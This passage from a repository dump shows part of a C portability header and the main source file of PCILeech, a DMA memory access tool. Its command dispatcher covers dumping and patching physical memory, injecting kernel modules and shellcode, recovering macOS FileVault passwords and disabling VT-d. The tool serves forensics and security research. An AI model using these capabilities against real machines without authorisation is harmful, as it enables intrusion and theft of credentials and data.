(0x00000008L)\n#define STILL_ACTIVE                        (0x00000103L)\n#define INVALID_FILE_SIZE                   (0xffffffffL)\n#define IMAGE_SCN_MEM_EXECUTE               0x20000000\n#define IMAGE_SCN_MEM_WRITE                 0x80000000\n#define _TRUNCATE                           ((SIZE_T)-1LL)\n#define LPTHREAD_START_ROUTINE              PVOID\n#define WINUSB_INTERFACE_HANDLE             libusb_device_handle*\n#define PIPE_TRANSFER_TIMEOUT               0x03\n#define CONSOLE_SCREEN_BUFFER_INFO          PVOID    // TODO: remove this dummy\n#define SOCKET                              int\n#define INVALID_SOCKET\t                    -1\n#define SOCKET_ERROR\t                    -1\n#define WSAEWOULDBLOCK                      10035L\n#define MAXIMUM_WAIT_OBJECTS                64\n#define WAIT_OBJECT_0                       (0x00000000UL)\n#define WAIT_FAILED                         (0xFFFFFFFFUL)\n#define WAIT_TIMEOUT                        (258L)\n#define INFINITE                            (0xFFFFFFFFUL)\n#define SID_MAX_SUB_AUTHORITIES             (15)\n#define SECURITY_MAX_SID_SIZE               (sizeof(SID) - sizeof(DWORD) + (SID_MAX_SUB_AUTHORITIES * sizeof(DWORD)))\n#define CP_ACP                              0\n#define CP_UTF8                             65001\n#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES    16\n#define STATUS_SUCCESS                      ((NTSTATUS)0x00000000L)\n#define STATUS_ACCESS_DENIED                ((NTSTATUS)0xC0000022L)\n#define STATUS_DATA_ERROR                   ((NTSTATUS)0xC000003EL)\n#define STATUS_UNSUCCESSFUL                 ((NTSTATUS)0xC0000001L)\n#define STATUS_END_OF_FILE                  ((NTSTATUS)0xC0000011L)\n#define STATUS_FILE_INVALID                 ((NTSTATUS)0xC0000098L)\n#define STATUS_MEMORY_NOT_ALLOCATED         ((NTSTATUS)0xC00000A0L)\n#define STATUS_FILE_SYSTEM_LIMITATION       ((NTSTATUS)0xC0000427L)\n#define FILE_ATTRIBUTE_DIRECTORY            0x00000010 \n#define FILE_ATTRIBUTE_COMPRESSED           0x00000800  \n#define FILE_ATTRIBUTE_NOT_CONTENT_INDEXED  0x00002000\n\n//-----------------------------------------------------------------------------\n// SAL DEFINES BELOW:\n//-----------------------------------------------------------------------------\n#define _In_\n#define _In_z_\n#define _Out_\n#define _Inout_\n#define _Inout_opt_\n#define _In_opt_\n#define _In_opt_z_\n#define _Out_opt_\n#define _Check_return_opt_\n#define _Frees_ptr_opt_\n#define _Post_ptr_invalid_\n#define _Printf_format_string_\n#define _In_reads_(x)\n#define _In_reads_opt_(x)\n#define _Out_writes_(x)\n#define __bcount(x)\n#define _Inout_bytecount_(x)\n#define _Inout_count_(x)\n#define _Inout_updates_(x)\n#define _Inout_updates_opt_(x)\n#define _Inout_updates_bytes_(x)\n#define _Out_writes_bytes_opt_(x)\n#define _Inout_updates_bytes_opt_(x)\n#define _Out_writes_opt_(x)\n#define _Out_writes_to_(x,y)\n#define _Out_writes_z_(x)\n#define _Maybenull_\n#define _Success_(x)\n#define _When_(x,y)\n#define _Writable_bytes_(x)\n\n#define __forceinline                       inline __attribute__((always_inline))\n#define WINAPI\n#define UNREFERENCED_PARAMETER(x)           (void)(x)\n\n#define max(a, b)                           (((a) > (b)) ? (a) : (b))\n#define min(a, b)                           (((a) < (b)) ? (a) : (b))\n#define _byteswap_ushort(v)                 (__builtin_bswap16(v))\n#define _byteswap_ulong(v)                  (__builtin_bswap32(v))\n#define _byteswap_uint64(v)                 (__builtin_bswap64(v))\n#ifndef _rotr\n#define _rotr(v,c)                          ((((DWORD)v) >> ((DWORD)c) | (DWORD)((DWORD)v) << (32 - (DWORD)c)))\n#endif /* _rotr */\n#define _rotr16(v,c)                        ((((WORD)v) >> ((WORD)c) | (WORD)((WORD)v) << (16 - (WORD)c)))\n#define _rotr64(v,c)                        ((((QWORD)v) >> ((QWORD)c) | (QWORD)((QWORD)v) << (64 - (QWORD)c)))\n#define _rotl64(v,c)                        ((QWORD)(((QWORD)v) << ((QWORD)c)) | (((QWORD)v) >> (64 - (QWORD)c)))\n#define _countof(_Array)                    (sizeof(_Array) / sizeof(_Array[0]))\n#define sprintf_s(s, maxcount, ...)         (snprintf(s, maxcount, __VA_ARGS__))\n#define strnlen_s(s, maxcount)              (strnlen(s, maxcount))\n#define strcpy_s(dst, len, src)             (strncpy(dst, src, len))\n#define strncpy_s(dst, len, src, srclen)    (strncpy(dst, src, min((QWORD)(max(1, len)) - 1, (QWORD)(srclen))))\n#define strncat_s(dst, dstlen, src, srclen) (strncat(dst, src, min((((strlen(dst) + 1 >= (QWORD)(dstlen)) || ((QWORD)(dstlen) == 0)) ? 0 : ((QWORD)(dstlen) - strlen(dst) - 1)), (QWORD)(srclen))))\n#define strcat_s(dst, dstlen, src)          (strncat_s(dst, dstlen, src, _TRUNCATE))\n#define _vsnprintf_s(dst, len, cnt, fmt, a) (vsnprintf(dst, min((QWORD)(len), (QWORD)(cnt)), fmt, a))\n#define _stricmp(s1, s2)                    (strcasecmp(s1, s2))\n#define _strnicmp(s1, s2, maxcount)         (strncasecmp(s1, s2, maxcount))\n#define strtok_s(s, d, c)                   (strtok_r(s, d, c))\n#define _snprintf_s(s,l,c,...)              (snprintf(s,min((QWORD)(l), (QWORD)(c)),__VA_ARGS__))\n#define sscanf_s(s, f, ...)                 (sscanf(s, f, __VA_ARGS__))\n#define SwitchToThread()                    (sched_yield())\n#define ExitThread(dwExitCode)              (pthread_exit(dwExitCode))\n#define ExitProcess(c)                      (exit(c ? EXIT_SUCCESS : EXIT_FAILURE))\n#define Sleep(dwMilliseconds)               (usleep(1000*dwMilliseconds))\n#define fopen_s(ppFile, szFile, szAttr)     ((*ppFile = fopen(szFile, szAttr)) ? 0 : 1)\n#define ZeroMemory(pb, cb)                  (memset(pb, 0, cb))\n#define WinUsb_SetPipePolicy(h, p, t, cb, pb)   // TODO: implement this for better USB2 performance.\n#define CloseHandle(h)                          // TODO: remove this dummy implementation & replace with WARN.\n#define _ftelli64(f)                        (ftello(f))\n#define _fseeki64(f, o, w)                  (fseeko(f, o, w))\n#define _chsize_s(fd, cb)                   (ftruncate(fd, cb))\n#define _fileno(f)                          (fileno(f))\n#define InterlockedAdd64(p, v)              (__sync_add_and_fetch(p, v))\n#define InterlockedIncrement64(p)           (__sync_add_and_fetch(p, 1))\n#define InterlockedIncrement(p)             (__sync_add_and_fetch_4(p, 1))\n#define InterlockedDecrement(p)             (__sync_sub_and_fetch_4(p, 1))\n#define GetCurrentProcess()\t\t\t\t\t((HANDLE)-1)\n\ntypedef struct tdCRITICAL_SECTION {\n    pthread_mutex_t mutex;\n    pthread_mutexattr_t mta;\n} CRITICAL_SECTION, *LPCRITICAL_SECTION;\nVOID InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection);\nVOID DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection);\nVOID EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection);\nVOID LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection);\n\ntypedef struct _SYSTEMTIME {\n    WORD wYear;\n    WORD wMonth;\n    WORD wDayOfWeek;\n    WORD wDay;\n    WORD wHour;\n    WORD wMinute;\n    WORD wSecond;\n    WORD wMilliseconds;\n} SYSTEMTIME, *PSYSTEMTIME, *LPSYSTEMTIME;\n\ntypedef struct _WIN32_FIND_DATAA {\n    CHAR __cExtension[5];\n    CHAR cFileName[MAX_PATH];\n} WIN32_FIND_DATAA, *PWIN32_FIND_DATAA, *LPWIN32_FIND_DATAA;\n\nHANDLE FindFirstFileA(LPSTR lpFileName, LPWIN32_FIND_DATAA lpFindFileData);\nBOOL FindNextFileA(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData);\nHANDLE LocalAlloc(DWORD uFlags, SIZE_T uBytes);\nVOID LocalFree(HANDLE hMem);\nDWORD GetModuleFileNameA(_In_opt_ HMODULE hModule, _Out_ LPSTR lpFilename, _In_ DWORD nSize);\nQWORD GetTickCount64();\nBOOL QueryPerformanceFrequency(_Out_ LARGE_INTEGER *lpFrequency);\nBOOL QueryPerformanceCounter(_Out_ LARGE_INTEGER *lpPerformanceCount);\nVOID GetLocalTime(LPSYSTEMTIME lpSystemTime);\nDWORD InterlockedAdd(DWORD *Addend, DWORD Value);\n\nHANDLE CreateThread(\n    PVOID    lpThreadAttributes,\n    SIZE_T    dwStackSize,\n    PVOID    lpStartAddress,\n    PVOID    lpParameter,\n    DWORD    dwCreationFlags,\n    PDWORD    lpThreadId\n);\n\nBOOL GetExitCodeThread(\n    HANDLE    hThread,\n    PDWORD    lpExitCode\n);\n\nHMODULE LoadLibraryA(LPSTR lpFileName);\nBOOL FreeLibrary(_In_ HMODULE hLibModule);\nFARPROC GetProcAddress(HMODULE hModule, LPSTR lpProcName);\n\nBOOL _kbhit();\n\n// SRWLOCK\n#ifdef LINUX\ntypedef struct tdSRWLOCK {\n    uint32_t xchg;\n    int c;\n} SRWLOCK, *PSRWLOCK;\n#endif /* LINUX */\n#ifdef MACOS\n#include <dispatch/dispatch.h>\ntypedef struct tdSRWLOCK {\n    union {\n        QWORD valid;\n        dispatch_semaphore_t sem;\n    };\n} SRWLOCK, *PSRWLOCK;\n#endif /* MACOS */\nVOID InitializeSRWLock(PSRWLOCK pSRWLock);\nVOID AcquireSRWLockExclusive(_Inout_ PSRWLOCK pSRWLock);\nVOID ReleaseSRWLockExclusive(_Inout_ PSRWLOCK pSRWLock);\n#define AcquireSRWLockShared    AcquireSRWLockExclusive\n#define ReleaseSRWLockShared    ReleaseSRWLockExclusive\n#define SRWLOCK_INIT            { 0 }\n\n#endif /* LINUX || MACOS */\n\n#endif /* __OSCOMPATIBILITY_H__ */\n"
  },
  {
    "path": "pcileech/pcileech.c",
    "content": "// pcileech.c : implementation of core pcileech functionality.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"pcileech.h\"\n#include \"device.h\"\n#include \"executor.h\"\n#include \"extra.h\"\n#include \"help.h\"\n#include \"memdump.h\"\n#include \"mempatch.h\"\n#include \"util.h\"\n#include \"kmd.h\"\n#include \"umd.h\"\n#include \"vfs.h\"\n#include \"vmmx.h\"\n\nPPCILEECH_CONTEXT ctxMain = NULL;\n\nBOOL PCILeechConfigIntialize(_In_ DWORD argc, _In_ char* argv[])\n{\n    struct ACTION {\n        ACTION_TYPE tp;\n        LPSTR sz;\n    } ACTION;\n    const struct ACTION ACTIONS[] = {\n        {.tp = NONE,.sz = \"none\"},\n        {.tp = BENCHMARK,.sz = \"benchmark\"},\n        {.tp = INFO,.sz = \"info\"},\n        {.tp = DUMP,.sz = \"dump\" },\n        {.tp = WRITE,.sz = \"write\" },\n        {.tp = PATCH,.sz = \"patch\" },\n        {.tp = SEARCH,.sz = \"search\" },\n        {.tp = KMDLOAD,.sz = \"kmdload\" },\n        {.tp = KMDEXIT,.sz = \"kmdexit\" },\n        {.tp = MOUNT,.sz = \"mount\" },\n        {.tp = DISPLAY,.sz = \"display\" },\n        {.tp = PAGEDISPLAY,.sz = \"pagedisplay\" },\n        {.tp = TESTMEMREAD,.sz = \"testmemread\" },\n        {.tp = TESTMEMREADWRITE,.sz = \"testmemreadwrite\" },\n        {.tp = MAC_FVRECOVER,.sz = \"mac_fvrecover\" },\n        {.tp = MAC_FVRECOVER2,.sz = \"mac_fvrecover2\" },\n        {.tp = MAC_DISABLE_VTD,.sz = \"mac_disablevtd\" },\n        {.tp = PT_PHYS2VIRT,.sz = \"pt_phys2virt\" },\n        {.tp = PT_VIRT2PHYS,.sz = \"pt_virt2phys\" },\n        {.tp = TLP,.sz = \"tlp\" },\n        {.tp = TLPLOOP,.sz = \"tlploop\" },\n        {.tp = PROBE,.sz = \"probe\" },\n        {.tp = REGCFG,.sz = \"regcfg\" },\n        {.tp = PSLIST,.sz = \"pslist\" },\n        {.tp = PSVIRT2PHYS,.sz = \"psvirt2phys\" },\n        {.tp = AGENT_EXEC_PY,.sz = \"agent-execpy\" },\n        {.tp = AGENT_FORENSIC,.sz = \"agent-forensic\"},\n    };\n    DWORD j, i = 1;\n    FILE *hFile;\n    CHAR szCommandModule[MAX_PATH];\n    ctxMain = LocalAlloc(LMEM_ZEROINIT, sizeof(PCILEECH_CONTEXT));\n    if(!ctxMain) {\n        return 1;\n    }\n    ctxMain->magic = PCILEECH_CONTEXT_MAGIC;\n    ctxMain->version = PCILEECH_CONTEXT_VERSION;\n    if(argc < 2) { return FALSE; }\n    // set defaults\n    ctxMain->argc = argc;\n    ctxMain->argv = argv;\n    ctxMain->cfg.tpAction = NA;\n    ctxMain->cfg.paAddrMax = 0;\n    ctxMain->cfg.fOutFile = TRUE;\n    ctxMain->cfg.fUserInteract = TRUE;\n    // fetch command line actions/options\n    loop:\n    while(i < argc) {\n        // try parse action command\n        for(j = 0; j < sizeof(ACTIONS) / sizeof(ACTION); j++) {\n            if(0 == _stricmp(argv[i], ACTIONS[j].sz)) {\n                ctxMain->cfg.tpAction = ACTIONS[j].tp;\n                i++;\n                goto loop;\n            }\n        }\n        // try parse external command module name\n        if((ctxMain->cfg.tpAction == NA) && (0 != memcmp(argv[i], \"-\", 1))) {\n            Util_GetPathExe(szCommandModule);\n            if(strlen(szCommandModule) + strlen(argv[i]) < MAX_PATH - 16) {\n                strcat_s(szCommandModule, sizeof(szCommandModule), \"leechp_\");\n                strcat_s(szCommandModule, sizeof(szCommandModule), argv[i]);\n                strcat_s(szCommandModule, sizeof(szCommandModule), PCILEECH_LIBRARY_FILETYPE);\n                if(0 == fopen_s(&hFile, szCommandModule, \"rb\")) {\n                    memcpy(ctxMain->cfg.szExternalCommandModule, szCommandModule, MAX_PATH);\n                    ctxMain->cfg.tpAction = EXTERNAL_COMMAND_MODULE;\n                    fclose(hFile);\n                    i++;\n                    continue;\n                }\n            }\n        }\n        // try parse \n        if((ctxMain->cfg.tpAction == NA) && (0 != memcmp(argv[i], \"-\", 1))) {\n            ctxMain->cfg.tpAction = ((strlen(argv[i]) > 3) && !_strnicmp(\"umd\", argv[i], 3)) ? EXEC_UMD : EXEC_KMD;\n            strcpy_s(ctxMain->cfg.szShellcodeName, MAX_PATH, argv[i]);\n            i++;\n            continue;\n        }\n        // parse options (command not found)\n        if(0 == strcmp(argv[i], \"-pt\")) {\n            ctxMain->cfg.fPageTableScan = TRUE;\n            i++;\n            continue;\n        } else if(0 == strcmp(argv[i], \"-all\")) {\n            ctxMain->cfg.fPatchAll = TRUE;\n            i++;\n            continue;\n        } else if(0 == _stricmp(argv[i], \"-bar-ro\")) {\n            ctxMain->cfg.fBarZeroReadOnly = TRUE;\n            i++;\n            continue;\n        } else if(0 == _stricmp(argv[i], \"-bar-rw\")) {\n            ctxMain->cfg.fBarZeroReadWrite = TRUE;\n            i++;\n            continue;\n        } else if(0 == strcmp(argv[i], \"-force\")) {\n            ctxMain->cfg.fForceRW = TRUE;\n            i++;\n            continue;\n        } else if(0 == strcmp(argv[i], \"-help\")) {\n            ctxMain->cfg.fShowHelp = TRUE;\n            i++;\n            continue;\n        } else if(0 == _stricmp(argv[i], \"-v\")) {\n            ctxMain->cfg.fVerbose = TRUE;\n            i++;\n            continue;\n        } else if(0 == _stricmp(argv[i], \"-vv\")) {\n            ctxMain->cfg.fVerboseExtra = TRUE;\n            i++;\n            continue;\n        } else if(0 == _stricmp(argv[i], \"-vvv\")) {\n            ctxMain->cfg.fVerboseExtraTlp = TRUE;\n            i++;\n            continue;\n        } else if(0 == _stricmp(argv[i], \"-loop\")) {\n            ctxMain->cfg.fLoop = TRUE;\n            i++;\n            continue;\n        } else if(0 == strcmp(argv[i], \"-nouserinteract\")) {\n            ctxMain->cfg.fUserInteract = FALSE;\n            i++;\n            continue;\n        } else if(0 == strcmp(argv[i], \"-no-kmd-mem\")) {\n            ctxMain->cfg.fNoKmdMem = TRUE;\n            i++;\n            continue;\n        } else if(i + 1 >= argc) {\n            return FALSE;\n        } else if(0 == strcmp(argv[i], \"-min\")) {\n            ctxMain->cfg.paAddrMin = Util_GetNumeric(argv[i + 1]);\n        } else if(0 == strcmp(argv[i], \"-max\")) {\n            ctxMain->cfg.paAddrMax = Util_GetNumeric(argv[i + 1]);\n        } else if(0 == strcmp(argv[i], \"-pid\")) {\n            ctxMain->cfg.dwPID = (DWORD)Util_GetNumeric(argv[i + 1]);\n            ctxMain->cfg.fModeVirtual = ctxMain->cfg.dwPID ? TRUE : FALSE;\n        } else if(0 == strcmp(argv[i], \"-vamin\")) {\n            ctxMain->cfg.vaAddrMin = Util_GetNumeric(argv[i + 1]);\n        } else if(0 == strcmp(argv[i], \"-vamax\")) {\n            ctxMain->cfg.vaAddrMax = Util_GetNumeric(argv[i + 1]);\n        } else if(0 == strcmp(argv[i], \"-psname\")) {\n            strcpy_s(ctxMain->cfg.szProcessName, MAX_PATH, argv[i + 1]);\n            ctxMain->cfg.fModeVirtual = ctxMain->cfg.szProcessName[0] ? TRUE : FALSE;\n        } else if(0 == strcmp(argv[i], \"-cr3\")) {\n            ctxMain->cfg.paCR3 = Util_GetNumeric(argv[i + 1]);\n        } else if(0 == strcmp(argv[i], \"-efibase\")) {\n            ctxMain->cfg.paEFI_IBI_SYST = Util_GetNumeric(argv[i + 1]);\n        } else if(0 == strcmp(argv[i], \"-tlpwait\")) {\n            ctxMain->cfg.dwListenTlpTimeMs = (DWORD)(1000 * Util_GetNumeric(argv[i + 1]));\n        } else if((0 == strcmp(argv[i], \"-device\")) || (0 == strcmp(argv[i], \"-z\"))) {\n            strcpy_s(ctxMain->cfg.szDevice, MAX_PATH, argv[i + 1]);\n        } else if(0 == strcmp(argv[i], \"-remote\")) {\n            strcpy_s(ctxMain->cfg.szRemote, MAX_PATH, argv[i + 1]);\n        } else if(0 == strcmp(argv[i], \"-memmap\")) {\n            strcpy_s(ctxMain->cfg.szMemMap, MAX_PATH, argv[i + 1]);\n        } else if(0 == _stricmp(argv[i], \"-memmap-str\")) {\n            strcpy_s(ctxMain->cfg.szMemMapStr, _countof(ctxMain->cfg.szMemMapStr), argv[i + 1]);\n            i += 2;\n            continue;\n        } else if(0 == strcmp(argv[i], \"-out\")) {\n            if((0 == _stricmp(argv[i + 1], \"none\")) || (0 == _stricmp(argv[i + 1], \"null\"))) {\n                ctxMain->cfg.fOutFile = FALSE;\n            } else {\n                strcpy_s(ctxMain->cfg.szFileOut, MAX_PATH, argv[i + 1]);\n            }\n        } else if(0 == strcmp(argv[i], \"-in\")) {\n            ctxMain->cfg.cbIn = max(0x40000, 0x1000 + Util_GetFileSize(argv[i + 1]));\n            ctxMain->cfg.pbIn = LocalAlloc(LMEM_ZEROINIT, (SIZE_T)ctxMain->cfg.cbIn);\n            if(!ctxMain->cfg.pbIn) { return FALSE; }\n            if(!Util_ParseHexFileBuiltin(argv[i + 1], ctxMain->cfg.pbIn, (DWORD)ctxMain->cfg.cbIn, (PDWORD)&ctxMain->cfg.cbIn)) { return FALSE; }\n        } else if(0 == strcmp(argv[i], \"-s\")) {\n            strcpy_s(ctxMain->cfg.szInS, MAX_PATH, argv[i + 1]);\n        } else if(0 == strcmp(argv[i], \"-mount\")) {\n            strcpy_s(ctxMain->cfg.szMount, MAX_PATH, argv[i + 1]);\n        } else if(0 == strcmp(argv[i], \"-sig\")) {\n            strcpy_s(ctxMain->cfg.szSignatureName, MAX_PATH, argv[i + 1]);\n        } else if(0 == strcmp(argv[i], \"-hook\")) {\n            strcpy_s(ctxMain->cfg.szHook, MAX_PATH, argv[i + 1]);\n        } else if(0 == strcmp(argv[i], \"-kmd\")) {\n            ctxMain->cfg.paKMD = strtoull(argv[i + 1], NULL, 16);\n            if(ctxMain->cfg.paKMD < 0x1000) {\n                strcpy_s(ctxMain->cfg.szKMDName, MAX_PATH, argv[i + 1]);\n            } else {\n                ctxMain->cfg.fAddrKMDSetByArgument = TRUE;\n            }\n        } else if(2 == strlen(argv[i]) && '0' <= argv[i][1] && '9' >= argv[i][1]) { // -0..9 param\n            ctxMain->cfg.qwDataIn[argv[i][1] - '0'] = Util_GetNumeric(argv[i + 1]);\n        }\n        i += 2;\n    }\n    if(!ctxMain->cfg.pbIn) {\n        ctxMain->cfg.pbIn = LocalAlloc(LMEM_ZEROINIT, 0x40000);\n    }\n    // set dummy qwAddrMax value (if possible) to disable auto-detect in LeechCore.\n    if((ctxMain->cfg.tpAction == TLP) || (ctxMain->cfg.tpAction == DISPLAY) || (ctxMain->cfg.tpAction == PAGEDISPLAY) || (ctxMain->cfg.tpAction == NONE) || (ctxMain->cfg.tpAction == BENCHMARK)) {\n        ctxMain->cfg.paAddrMax = -1;\n    }\n    // disable memory auto-detect when memmap is specified\n    if(!ctxMain->cfg.paAddrMax && (ctxMain->cfg.szMemMap[0] || ctxMain->cfg.szMemMapStr[0])) {\n        ctxMain->cfg.paAddrMax = -1;\n    }\n    // try correct erroneous options, if needed\n    if(ctxMain->cfg.tpAction == NA) {\n        return FALSE;\n    }\n    // set vamax\n    if(!ctxMain->cfg.vaAddrMax) {\n        ctxMain->cfg.vaAddrMax = (QWORD)-1;\n    }\n    return TRUE;\n}\n\nVOID PCILeechConfigFixup()\n{\n    QWORD qw;\n    // no kmd -> max address == max address that device support\n    if(!ctxMain->cfg.szKMDName[0] && !ctxMain->cfg.paKMD) {\n        if(ctxMain->cfg.paAddrMax == 0 || ctxMain->cfg.paAddrMax > ctxMain->dev.paMax) {\n            ctxMain->cfg.paAddrMax = ctxMain->dev.paMax;\n        }\n    }\n    // fixup addresses\n    if(ctxMain->cfg.paAddrMin > ctxMain->cfg.paAddrMax) {\n        qw = ctxMain->cfg.paAddrMin;\n        ctxMain->cfg.paAddrMin = ctxMain->cfg.paAddrMax;\n        ctxMain->cfg.paAddrMax = qw;\n    }\n    ctxMain->cfg.paCR3 &= ~0xfff;\n    ctxMain->cfg.paKMD &= ~0xfff;\n}\n\nVOID PCILeechFreeContext()\n{\n    if(!ctxMain) { return; }\n    ActionUnMount();\n    KMDClose();\n    Vmmx_Close();\n    LcClose(ctxMain->hLC);\n    LocalFree(ctxMain->cfg.pbIn);\n    LocalFree(ctxMain);\n    ctxMain = NULL;\n}\n\n#ifdef _WIN32\n/*\n* Call the free context functionality in a separate thread (in case it gets stuck).\n* -- pv\n*/\nVOID WINAPI PCILeechCtrlHandler_TryShutdownThread(PVOID pv)\n{\n\t__try {\n\t\tPCILeechFreeContext();\n\t} __except(EXCEPTION_EXECUTE_HANDLER) { ; }\n}\n\n/*\n* SetConsoleCtrlHandler for PCILeech - clean up whenever CTRL+C is pressed.\n* -- fdwCtrlType\n* -- return\n*/\nBOOL WINAPI PCILeechCtrlHandler(DWORD fdwCtrlType)\n{\n    if(fdwCtrlType == CTRL_C_EVENT) {\n        printf(\"CTRL+C detected - shutting down ...\\n\");\n\t\tCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PCILeechCtrlHandler_TryShutdownThread, NULL, 0, NULL);\n\t\tSleep(500);\n\t\tTerminateProcess(GetCurrentProcess(), 1);\n\t\tSleep(1000);\n\t\tExitProcess(1);\n        return TRUE;\n    }\n    return FALSE;\n}\n\nVOID PCILeechCtrlHandlerInitialize()\n{\n\tSetConsoleCtrlHandler(PCILeechCtrlHandler, TRUE);\n}\n#endif /* _WIN32 */\n\n#if defined(LINUX) || defined(MACOS)\nVOID PCILeechCtrlHandlerInitialize()\n{\n\treturn;\n}\n#endif /* LINUX || MACOS */\n\nint main(_In_ int argc, _In_ char* argv[])\n{\n    BOOL result;\n    HMODULE hExternalCommandModule;\n    VOID(*pfnExternalCommandModuleDoAction)(_Inout_ PPCILEECH_CONTEXT pLeechContext);\n    PKMDEXEC pKmdExec = NULL;\n    result = PCILeechConfigIntialize((DWORD)argc, argv);\n    printf(\"\\n\");\n    if(!result) {\n        Help_ShowGeneral();\n        PCILeechFreeContext();\n        return 1;\n    }\n    if(ctxMain->cfg.tpAction == EXEC_KMD) {\n        result = Util_LoadKmdExecShellcode(ctxMain->cfg.szShellcodeName, &pKmdExec);\n        LocalFree(pKmdExec);\n        if(!result) {\n            Help_ShowGeneral();\n            PCILeechFreeContext();\n            return 1;\n        }\n    }\n    // actions that do not require a working initialized connection to a pcileech\n    // device to start executing the command are found below:\n    if(ctxMain->cfg.tpAction == INFO || ctxMain->cfg.tpAction == MAC_FVRECOVER2 || ctxMain->cfg.tpAction == MAC_DISABLE_VTD || ctxMain->cfg.fShowHelp) {\n        if(ctxMain->cfg.tpAction == INFO) {\n            Help_ShowInfo();\n        } else if(ctxMain->cfg.tpAction == MAC_FVRECOVER2) {\n            Action_MacFilevaultRecover(FALSE);\n        } else if(ctxMain->cfg.tpAction == MAC_DISABLE_VTD) {\n            Action_MacDisableVtd();\n        } else if(ctxMain->cfg.fShowHelp) {\n            Help_ShowDetailed();\n        }\n        PCILeechFreeContext();\n        return 0;\n    }\n    // enable ctrl+c event handler if remote (to circumvent blocking thread)\n    PCILeechCtrlHandlerInitialize();\n    // initialize device connection\n    result = DeviceOpen();\n    if(!result) {\n        printf(\"PCILEECH: Failed to connect to the device.\\n\");\n        PCILeechFreeContext();\n        return 1;\n    }\n    if(ctxMain->cfg.fBarZeroReadWrite) {\n        // pcileech implementation of a zero read/write PCIe BAR.\n        Extra_BarReadWriteInitialize();\n    } else if(ctxMain->cfg.fBarZeroReadOnly) {\n        // use leechcore implementation of a zero read-only PCIe BAR.\n        if(!LcCommand(ctxMain->hLC, LC_CMD_FPGA_BAR_FUNCTION_CALLBACK, 0, (PBYTE)LC_BAR_FUNCTION_CALLBACK_ZEROBAR, NULL, NULL)) {\n            printf(\"BAR: Error registering callback function and enabling BAR TLP processing.\\n\");\n        }\n    }\n    PCILeechConfigFixup(); // post device config adjustments\n    if(ctxMain->cfg.szKMDName[0] || ctxMain->cfg.paKMD) {\n        result = KMDOpen();\n        if(!result) {\n            printf(\"PCILEECH: Failed to load kernel module.\\n\");\n            PCILeechFreeContext();\n            return 1;\n        }\n    }\n    if(ctxMain->cfg.paAddrMax == 0) {\n        LcGetOption(ctxMain->hLC, LC_OPT_CORE_ADDR_MAX, &ctxMain->cfg.paAddrMax);\n    }\n    // main dispatcher\n    switch(ctxMain->cfg.tpAction) {\n        case NONE:\n            break;\n        case BENCHMARK:\n            Action_Benchmark();\n            break;\n        case DUMP:\n            ActionMemoryDump();\n            break;\n        case WRITE:\n            ActionMemoryWrite();\n            break;\n        case DISPLAY:\n            if(ctxMain->cfg.fModeVirtual) {\n                ActionMemoryDisplayVirtual();\n            } else {\n                ActionMemoryDisplayPhysical();\n            }\n            break;\n        case PAGEDISPLAY:\n            ActionMemoryPageDisplay();\n            break;\n        case PATCH:\n        case SEARCH:\n            if(ctxMain->cfg.fModeVirtual) {\n                ActionPatchAndSearchVirtual();\n            } else {\n                ActionPatchAndSearchPhysical();\n            }\n            break;\n        case EXEC_KMD:\n            ActionExecShellcode();\n            break;\n        case EXEC_UMD:\n            ActionExecUserMode();\n            break;\n        case TESTMEMREAD:\n        case TESTMEMREADWRITE:\n            ActionMemoryTestReadWrite();\n            break;\n        case MAC_FVRECOVER:\n            Action_MacFilevaultRecover(TRUE);\n            break;\n        case PT_PHYS2VIRT:\n            Action_PT_Phys2Virt();\n            break;\n        case PT_VIRT2PHYS:\n            Action_PT_Virt2Phys();\n            break;\n        case TLP:\n            Action_TlpTx();\n            break;\n        case TLPLOOP:\n            Action_TlpTxLoop();\n            break;\n        case PROBE:\n            ActionMemoryProbe();\n            break;\n        case REGCFG:\n            Action_RegCfgReadWrite();\n            break;\n        case MOUNT:\n            ActionMount();\n            break;\n        case PSLIST:\n            Action_UmdPsList();\n            break;\n        case PSVIRT2PHYS:\n            Action_UmdPsVirt2Phys();\n            break;\n        case AGENT_EXEC_PY:\n            ActionAgentExecPy();\n            break;\n        case AGENT_FORENSIC:\n            ActionAgentForensic();\n            break;\n        case KMDLOAD:\n            if(ctxMain->cfg.paKMD) {\n                printf(\"KMD: Successfully loaded at address: 0x%08x\\n\", (DWORD)ctxMain->cfg.paKMD);\n            } else {\n                printf(\"KMD: Failed. Please supply valid -kmd and optionally -cr3 parameters.\\n\");\n            }\n            break;\n        case KMDEXIT:\n            KMDUnload();\n            printf(\"KMD: Hopefully unloaded.\\n\");\n            break;\n        case EXTERNAL_COMMAND_MODULE:\n            if((hExternalCommandModule = LoadLibraryA(ctxMain->cfg.szExternalCommandModule))) {\n                if((pfnExternalCommandModuleDoAction = (VOID(*)(PPCILEECH_CONTEXT))GetProcAddress(hExternalCommandModule, \"DoAction\"))) {\n                    pfnExternalCommandModuleDoAction(ctxMain);\n                } else {\n                    printf(\"Failed. External command module '%s' could not locate required DoAction function.\\n\", ctxMain->cfg.szExternalCommandModule);\n                }\n                FreeLibrary(hExternalCommandModule);\n            } else {\n                printf(\"Failed. External command module '%s' could not be loaded.\\n\", ctxMain->cfg.szExternalCommandModule);\n            }\n            break;\n        default:\n            printf(\"Failed. Not yet implemented.\\n\");\n            break;\n    }\n    if(ctxMain && ctxMain->phKMD && (ctxMain->cfg.tpAction != KMDLOAD) && !ctxMain->cfg.fAddrKMDSetByArgument) {\n        KMDUnload();\n        printf(\"KMD: Hopefully unloaded.\\n\");\n    }\n    if(ctxMain && ctxMain->cfg.dwListenTlpTimeMs) {\n        Sleep(50);\n        LcCommand(ctxMain->hLC, LC_CMD_FPGA_TLP_FUNCTION_CALLBACK, 0, (PBYTE)LC_TLP_FUNCTION_CALLBACK_DUMMY, NULL, NULL);\n        Sleep(ctxMain->cfg.dwListenTlpTimeMs);\n        LcCommand(ctxMain->hLC, LC_CMD_FPGA_TLP_FUNCTION_CALLBACK, 0, (PBYTE)LC_TLP_FUNCTION_CALLBACK_DISABLE, NULL, NULL);\n    }\n    PCILeechFreeContext();\n#if defined(LINUX) || 